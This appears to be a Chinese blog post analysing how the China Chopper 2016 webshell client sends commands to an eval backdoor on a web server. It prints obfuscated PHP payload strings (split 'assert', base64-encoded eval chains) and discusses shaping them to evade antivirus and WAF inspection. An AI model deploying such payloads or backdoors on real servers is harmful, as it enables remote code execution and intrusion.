菜刀外部可见范围的运行机理

对菜刀2016版的分析

1、caidao.conf 文件中的  标签是执行 PHP 一句话的关键所在。
比如:array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
而一句话所在服务器端(以后简称木马端)代码是:
//  那个  标签只是个例子,不是在这改配置才能作用于菜刀,开始理解错了,我晕
2、在菜刀工作,例如浏览文件、打开文件并修改文件时,菜刀所执行的代码会 post 到  
这个标签中的 %s 这个字符串变量中(姑且这么说),然后 array_map(.......); (就是  这个标签的内容)全部被 post 到
服务器端的 caidao 变量中,服务器端网站接收 caidao 变量提交的代码,然后由 eval 命令执行 PHP 代码。
总之,菜刀程序是经过base64加密的,这个无法更改,所以在木马端需要base64解密;
eval 最终执行的命令是:可以处理的如:echo phpinfo;echo 111;等PHP代码,而不是什么什么加密后的字符串。

所以,需要在 标签中做过杀软的文章,

例如 菜刀加密示例中的:
菜刀端 conf 文件:  标签内包括:
ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s
(实际内容是:eval(base64_decode($_POST[id])); )
木马端是:
过程:菜刀发出代码指令给 %s ,接着将菜刀端的这段 base64 编码
ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D 解密成
eval(base64_decode($_POST[id]));
然后 再把 id变量中的字符串base64 解密,变成了PHP代码,传给服务器(如:echo phpinfo();)。

用户浏览数据通过 waf 的具体过程:(我是这样理解的)

可以这样打个比方:
用户是一所小卖铺的顾客,用户执行数据的操作,如发起get、post请求,waf 则是房子的墙和售卖员,
打开的端口就是小卖铺卖东西的窗口,首先,用户发起请求(我要买的冰淇淋),waf 通过分析数据决定数据是否执行
,是放行?还是拦截(售货员看他买什么东西,有就卖给他,没有就不卖),然后网站接收 get 、post 请求,执行对应的操作。

参考:链接:中国菜刀20160620初体验

你可能感兴趣的:(菜刀外部可见范围的运行机理)